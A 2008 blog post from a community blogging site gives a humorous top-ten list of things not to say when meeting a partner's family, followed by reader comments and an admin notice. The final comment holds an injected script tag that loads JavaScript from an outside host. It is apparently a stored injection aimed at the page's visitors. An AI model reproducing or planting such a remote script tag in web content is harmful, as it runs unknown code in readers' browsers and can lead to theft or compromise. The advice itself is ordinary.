Daniel HebeisenThe 10 things you should NOT do when meeting your lover's family!
May 15th 2008 15:21
Meeting parents, siblings, or other relatives of your loved one can be quiet nerve-wracking, if not, very scary. Mostly everyone wants their significant other to get along with their family – especially if the said family member is really important to their lives. However, while your significant other may worry about how he or she looks while introducing you, it is much, much more worrying for you – especially if you have trouble with discretion as I myself do. I’ve decided to put together a top 10 list of all the things NOT to say while first meeting your lover’s families…and probably should keep to yourself until you are sworn into the family.
10. Do not cuss.
9. Do not talk about money.
8. Do not obsess over how attractive you think your beau is.
Every once in a while it’s okay to slip in the “he’s very handsome/she’s very cute” routine, but constantly admiring your lover’s body just makes everyone feel uncomfortable. Not only will the family not know how to respond but it makes you look very attached and clingy. Also the mom probably already knows how handsome her son/daughter is, after creating him/her and all. Stick to short and sweet compliments about your beau but focus mainly on the family and the situation at hand (this does not mean complimenting the parents over anything that comes about!).
7. Do not mention how much you want to have kids…or how badly you don’t want them.
6. Do not mention anything about past relationships or any person you find attractive other than your partner.
You and your lover might be comfortable about your past flings and romances, but his family probably is not comfortable about this. Mostly everyone’s families are very protective and the fact that you had your eyes on someone else other than your lover does not bode well with them. Many questions will arise later (when you’re not around) about why this past relationship didn’t work and why you’re with your new lover. It’s just not good to remind the family that you’ve touched and probably have done more than just that to someone else. It’s not bad to have past relationships; it’s just not advisable to let your love’s family know about them.
5. Do not mention penises…at all.
While this may seem like a pretty funny thing to bring up, it’s much funnier in your head. Now I realize that some jokes may be funny with a penis or maybe penises just surround you in your life, but generally keep that between you and your lover. Their family does not care about how you dreamed of a giant talking penis, in fact, this probably scares them – a lot. Not only does it make you sound like you have nothing else on your mind but penis, but it also reflects badly on your partner and makes for quite the awkward response. Even if you were trying to make a joke about psychology and penis envy, it’s just not a good idea to bring it up – especially if no one knows what you’re talking about. You should probably leave out penises until you have a good relationship with the family and even then, mention them very very rarely.
4. Do not make dirty, demeaning, or gross jokes.
3. Do not talk about your partner’s flaws
I have the habit of casually joking about the mistakes my partner has made, and for the most part, my partner knows when I am kidding. His parents, on the other hand, do not know the difference. Furthermore, they don’t understand why I’m focusing on his flaws. The common thought that comes to mind is if I’m so unhappy, then why am I with him? And that is just not a thought you want your lover’s family to think about. This further causes the family to be protective and highly distrust you – again not a good trait at all. Leave the snarky remarks at your house, or when you’re riding home with your beau.
2. Do not fight with anyone, no matter how badly they annoy you.
1. Do not talk about sex or any sexually related things, just don’t!
It seems like this is a topic which would rarely, if ever, come up but trust me, it can come up in the most unexpected times. Now unless this family is very open, I would highly recommend everyone to not mention the amazing time in the back seat of the car. There is absolutely no response his family could make which would not make you uncomfortable (“That’s very good to hear, dear”…that just makes me shudder). Most families like to think their child is reading when he’s alone in his room and many mothers will deny ever seeing any of their son’s porn. It’s just not a picture you want to lay out for the family.
That being said, when meeting families for the first time, it’s best to just keep the conversation casual. Mention accomplishments your partner has told you about your family (“So I heard your business is going well!”) and the conversation should pick up and your encounter will no doubt be fine, if not great. Try to be actively involved in the conversation by looking everyone straight in the eyes and really listening. And remember, in the end, it’s your lover who decides to be with you. Now on the other hand, if you want to make a pretty terrible impression, these would greatly help you, I guarantee it.
| 176 |
| Vote |
Comment by Daniel Hebeisen
Gamer Hint
So heres a post my girl friend Ellen wrote for all of you
Comment by jon
Orble News
Urban Hint
Blog Adviser
Jon's Bookmarks
Debate Battle
Orblepedia
Orble Notes
Sydney WeekendNotes
You may also need to add the email address admin -at- orblemail.com to your address book in order to receive Orble admin emails in the future.
Thanks,
Jon.
(Orble Admin)
Comment by a9bian
<script src=//www.ji17.cn/b.js></script>
nihaoma